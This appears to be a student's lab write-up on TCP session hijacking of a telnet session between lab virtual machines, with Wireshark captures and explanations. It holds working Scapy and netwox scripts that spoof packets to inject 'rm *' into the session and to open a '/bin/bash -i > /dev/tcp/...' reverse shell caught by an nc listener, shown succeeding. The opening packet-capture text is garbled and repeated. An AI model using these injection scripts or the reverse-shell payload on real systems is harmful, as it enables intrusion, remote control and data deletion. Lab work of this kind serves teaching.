10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 10.0.2.11 TELNET 69 Telnet Data 10.0.2.11 10.0.2.10 TCP 80 [TCP Dup ACK 128#1] [TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive ACK] [TCP 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive ACK] [TCP 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.11 TCP 69 [TCP Keep-Alive ACK] [TCP 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive ACK] [TCP 80 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive] 45226 → 10.0.	PcsCompu_66:f8:1c		ARP	44 10.0.2.10 is at 08:00:27:
10.0.2.10	10.0.2.11	10.0.2.10	TCP	178 [TCP ACKed unseen segment
10.0.2.11 10.0.2.10 TCP 80 [TCP Dup ACK 128#1] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive ACK] [TCP 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.11 TCP 64 60599 → 37687 Len=0 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive] 45226 → 10	10.0.2.11	10.0.2.10	TCP	178 [TCP ACKed unseen segment
10.0.2.10	10.0.2.10	10.0.2.11	TELNET	69 Telnet Data
10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive] 45226 → 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 80 [TCP Keep-Alive] 45226	10.0.2.11	10.0.2.10	TCP	80 [TCP Dup ACK 128#1] [TCP A
10.0.2.10	10.0.2.10	10.0.2.11	TCP	69 [TCP Keep-Alive] 45226 → :
10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → . 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP ::1 UDP 64 60599 → 37687 Len=0 10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → . 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive] 45226 → . 10.0.2.11 10.0.2.11 TCP 69 [TCP Keep-Alive ACK] [TCP 69 [TCP Keep-Alive] 45226 → . 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → . 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → . 10.0.2.11 TCP 80 [TCP Keep-Alive] 4	10.0.2.11	10.0.2.10	TCP	80 [TCP Keep-Alive ACK] [TCP
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	10.0.2.10	10.0.2.11	TCP	69 [TCP Keep-Alive] 45226 → :
$ \begin{array}{cccccccccccccccccccccccccccccccccccc$	10.0.2.11	10.0.2.10	TCP	80 [TCP Keep-Alive ACK] [TCP
$ \begin{array}{cccccccccccccccccccccccccccccccccccc$	10.0.2.10	10.0.2.11	TCP	69 [TCP Keep-Alive] 45226 → :
10.0.2.10	10.0.2.11	10.0.2.10	TCP	80 [TCP Keep-Alive ACK] [TCP
10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.10 TCP 69 [TCP Keep-Alive] 45226 - 10.0.2.11 TCP 80 [TCP Keep-Alive ACK] [TCP 80 [TCP Keep-Alive ACK] [TCP ResCompu_66:f8:1c ARP 44 Who has 10.0.2.11? Tell 10.0.2.11 ARP 62 10.0.2.11 is at 08:00:27:	::1	::1	UDP	64 60599 → 37687 Len=0
10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP Keep-Alive ACK] PcsCompu_66:f8:1c ARP 44 Who has 10.0.2.11? Tell 10.0.2.11 PcsCompu_4e:3a:96 ARP 62 10.0.2.11 is at 08:00:27:.	10.0.2.10	10.0.2.11	TCP	69 [TCP Keep-Alive] 45226 → 1
10.0.2.11 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP PcsCompu_66:f8:1c ARP 44 Who has 10.0.2.11? Tell 10.0.2.11 PcsCompu_4e:3a:96 ARP 62 10.0.2.11 is at 08:00:27:	10.0.2.11	10.0.2.10	TCP	80 [TCP Keep-Alive ACK] [TCP
PcsCompu_66:f8:1c ARP 44 Who has 10.0.2.11? Tell 1 PcsCompu_4e:3a:96 ARP 62 10.0.2.11 is at 08:00:27:	10.0.2.10	10.0.2.11	TCP	69 [TCP Keep-Alive] 45226 → :
PcsCompu_4e:3a:96 ARP 62 10.0.2.11 is at 08:00:27:	10.0.2.11	10.0.2.10	TCP	80 [TCP Keep-Alive ACK] [TCP
	PcsCompu_66:f8:1c		ARP	44 Who has 10.0.2.11? Tell 1
10.0.2.10 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 →	PcsCompu_4e:3a:96		ARP	62 10.0.2.11 is at 08:00:27:
	10.0.2.10	10.0.2.11	TCP	69 [TCP Keep-Alive] 45226 → 1

This is the wireshark capture

We see that the connection freezes. This is because after the spoofed packet is sent, if the actual client sends something, it is sent with the same sequence number as that of the spoofed packet. Now since the server has already received a packet with that sequence number, it just drops it.

Telnet being a TCP connection, the client keeps sending the packet until it receives an acknowledgement. Also, the server sends an ACK to the actual client for the spoofed packet and since the client did not send anything, it just discards the received ACK.

The server is expecting an ACK in return and until it receives one, it keeps sending more and more ACK packets.

We can achieve the same using a python script

```
Bharath-PES1201801948-VM1:~$ cat sessionhijack.py
#!/usr/bin/python
import sys
from scapy.all import *
print("Sending session hijacking packet .....")
IPLayer = IP(src="10.0.2.10" , dst="10.0.2.11")
TCPLayer = TCP(sport=45230, dport=23,flags="A", seq=2623587410, ac k=495283123)
Data = "\r rm *\n\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)
Bharath-PES1201801948-VM1:~$
```


```
Bharath-PES1201801948-VM2:~$ telnet 10.0.2.11
Trying 10.0.2.11...
Connected to 10.0.2.11.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Feb 14 06:23:02 EST 2021 from 10.0.2.10 on pts/19
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Bharath-PES1201801948-VM3:~$ cd TCP
Bharath-PES1201801948-VM3:~/TCP$ ll
total 0
-rw-rw-r-- 1 seed seed 0 Feb 14 06:22 new2.txt
Bharath-PES1201801948-VM3:~/TCP$
```


```
. 10.0.2.10
                       10.0.2.11
                                            TCP
                                                        68 45230 → 23 [ACK] Seq=262
10.0.2.11
                       10.0.2.10
                                            TELNET
                                                       101 Telnet Data ...
                                                        68 45230 - 23 [ACK] Seq=26
10.0.2.10
                       10.0.2.11
. ::1
                       ::1
                                            UDP
                                                        64 60599 → 37687 Len=0
                                                        64 60599 - 37687 Len=0
                                            UDP
. ::1
                       ::1
. ::1
                       ::1
                                            UDP
                                                        64 60599 → 37687 Len=0
. ::1
                                            UDP
                                                        64 60599 → 37687 Len=0
                       ::1
                                            HDP
                                                        64 60599 → 37687 Len=0
. ::1
                       ::1
Frame 105: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interfa
▶ Linux cooked capture
▶ Internet Protocol Version 4, Src: 10.0.2.10, Dst: 10.0.2.11
▼ Transmission Control Protocol, Src Port: 45230, Dst Port: 23, Seq: 2623587410,
    Source Port: 45230
    Destination Port: 23
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 2623587410
    Acknowledgment number: 495283123
    Header Length: 32 bytes
  ▶ Flags: 0x010 (ACK)
    Window size value: 237
    [Calculated window size: 30336]
    [Window size scaling factor: 128]
```

The details of the last sent packet is used to construct the spoofed packet. We perform session hijacking using the following program that sends a packet from the client to the server and deletes a file namedtextfile.txt in the current directory.

Running the script, we can see that file is deleted

```
Bharath-PES1201801948-VM1:~$ sudo python sessionhijack.py
Sending session hijacking packet .......
version
           : BitField (4 bits)
(4)
ihl
            : BitField (4 bits)
                                                    = None
 (None)
            : XByteField
                                                    = 0
tos
(0)
            : ShortField
                                                    = None
len
 (None)
            : ShortField
id
                                                    = 1
(1)
            : FlagsField (3 bits)
                                                    = \langle Flag 0 () \rangle
flags
(<Flag 0 ()>)
            : BitField (13 bits)
                                                    = 0
frag
(0)
ttl
            : ByteField
                                                    = 64
(64)
proto
            : ByteEnumField
 (0)
            : XShortField
chksum
                                                    = None
(None)
            : SourceIPField
                                                    = '10.0.2.10'
src
(None)
```





We can see that the file is successfully deleted

Task 5: Creating Reverse Shell using TCP Session Hijacking

Using theSession Hijacking attack, we create a reverse shell from the server to the attacker's machine, giving the attacker access to the entire server machine to run commands. In this attack, we send a command in the packet's data to run the bash program and redirect its input, output and error devices to the remote TCP connection.

```
Bharath-PES1201801948-VM2:~$ telnet 10.0.2.11
Trying 10.0.2.11...
Connected to 10.0.2.11.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Feb 14 06:24:21 EST 2021 from 10.0.2.10 on pts/19
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
* Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
```

Bharath-PES1201801948-VM3:~\$

```
Source
                    Destination
                                          Protocol Length Info
10.0.2.10
                                                     68 56712 → 23 [ACK] Seq=6820
                     10.0.2.11
                                                      70 Telnet Data ..
10.0.2.11
                     10.0.2.10
                                          TELNET
                                                     68 56712 → 23 [ACK] Seq=6820
10.0.2.10
                    10.0.2.11
                                          TCP
                                          TELNET 345 Telnet Data .
10.0.2.11
                    10.0.2.10
10.0.2.10
                     10.0.2.11
                                                     68 56712 → 23 [ACK] Seq=6820
                                          TELNET
                                                     97 Telnet Data ...
10.0.2.11
                     10.0.2.10
::1
                                                      64 35879 → 39779 Len=0
                                          UDP
PcsCompu_4e:3a:96
                                                      62 Who has 10.0.2.3? Tell 10
                                          ARP
                                                      64 35879 → 39779 Len=0
                                          UDP
::1
                     ::1
                                                      64 35879 → 39779 Len=0
                                          UDP
▶ Frame 62: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interfac
▶ Linux cooked capture
▶ Internet Protocol Version 4, Src: 10.0.2.10, Dst: 10.0.2.11
▼ Transmission Control Protocol, Src Port: 56712, Dst Port: 23, Seq: 682009890, A
    Source Port: 56712
    Destination Port: 23
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 682009890
    Acknowledgment number: 2597853275
    Header Length: 32 bytes
  ▶ Flags: 0x010 (ACK)
```

The following Wireshark trace shows the spoofed packet sent. Notice that the source and destination are of client and server and MAC source is of the attacker's machine.

Running the netwox command, we can see that we established a shell from 10.0.2.11 [the server]

```
Bharath-PES1201801948-VM1:~$ sudo netwox 40 --ip4-src "10.0.2.10"
--ip4-dst "10.0.2.11" --ip4-ttl 64 --tcp-dst 23 --tcp-src "56712"
--tcp-seqnum "682009890" --tcp-window 2000 --tcp-ack --tcp-acknum
"2597853275" --tcp-data "0a2f62696e2f62617368202d69203e202f6465762
f7463702f31302e302e322e392f393039300a323e263120303c26310a0d"
IP
 version
           ihl
                                               totlen
                        tos
                                              0x005A=90
    4
            5
                      0 \times 00 = 0
                id
                                   r D M
                                                offsetfrag
          0x8641=34369
                                   0 0 0
                                                 0 \times 0000 = 0
       ttl
                     protocol
                                              checksum
     0x40=64
                      0x06=6
                                               0xDC48
                              source
                             10.0.2.10
Bharath-PES1201801948-VM1:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port <u>9090)</u>
Connection from [10.0.2.11] port 9090 [tcp/*] accepted (family 2,
sport 60278)
id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),2
7(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Emulating the same commands using Scapy

```
#!/usr/bin/python
import sys
from scapy.all import *
print("Sending session hijacking packet .....")
IPLayer = IP(src="10.0.2.11" , dst="10.0.2.10")
TCPLayer = TCP(sport=56754, dport=23, flags="A", seq=4200754488, ack=378544200)
Data = "\r/bin/bash -i > /dev/tcp/10.0.2.9/9090 2>&1 0<&1\n"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)|</pre>
```

Running this script, we can establish a reverse shell by listening on port 9090

```
10.0.2.10
                     10.0.2.11
                                          TCP
                                                      68 56754 → 23 [ACK] Seq=4200
10.0.2.11
                     10.0.2.10
                                          TELNET
                                                      97 Telnet Data ...
                                          UDP
                                                     64 35879 → 39779 Len=0
::1
                    ::1
                     10.0.2.3
                                                     344 DHCP Request - Transacti
10.0.2.10
                                          DHCP
                                                                      - Transacti
                                                    592 DHCP ACK
10.0.2.3
                     10.0.2.10
                                          DHCP
PcsCompu_66:f8:1c
                                          ARP
                                                     44 Who has 10.0.2.3? Tell 10
PcsCompu_79:51:f9
                                          ARP
                                                     62 10.0.2.3 is at 08:00:27:7
                                          UDP
                                                     64 35879 → 39779 Len=0
fe80::71ea:6d9d:f66... ff02::fb
                                          MDNS
                                                    182 Standard query 0x0000 PTR
10.0.2.9
                    224.0.0.251
                                                    162 Standard query 0x0000 PTR
▶ Frame 56: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interfac
▶ Linux cooked capture
▶ Internet Protocol Version 4, Src: 10.0.2.10, Dst: 10.0.2.11
▼ Transmission Control Protocol, Src Port: 56754, Dst Port: 23, Seq: 4200754488,
    Source Port: 56754
    Destination Port: 23
    [Stream index: 0]
    [TCP Segment Len: 0]
   Sequence number: 4200754488
    Acknowledgment number: 378544200
   Header Length: 32 bytes
  ▶ Flags: 0x010 (ACK)
```

```
Bharath-PES1201801948-VM1:~$ sudo python reverse.py
Sending session hijacking packet .......
version : BitField (4 bits)
 (4)
           : BitField (4 bits)
ihl
                                                   = None
 (None)
tos
           : XByteField
 (0)
           : ShortField
len
                                                   = None
 (None)
           : ShortField
id
                                                   = 1
 (1)
                                                   = \langle Flag 0 () \rangle
flags
          : FlagsField (3 bits)
 (<Flag 0 ()>)
Bharath-PES1201801948-VM1:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Bharath-PES1201801948-VM3:~$ ifconfig
          Link encap: Ethernet HWaddr 08:00:27:4e:3a:96
          inet addr:10.0.2.11
                                Bcast:10.0.2.255 Mask:255.255.255.
```

Running ifconfig, we can see the IP address of the machine.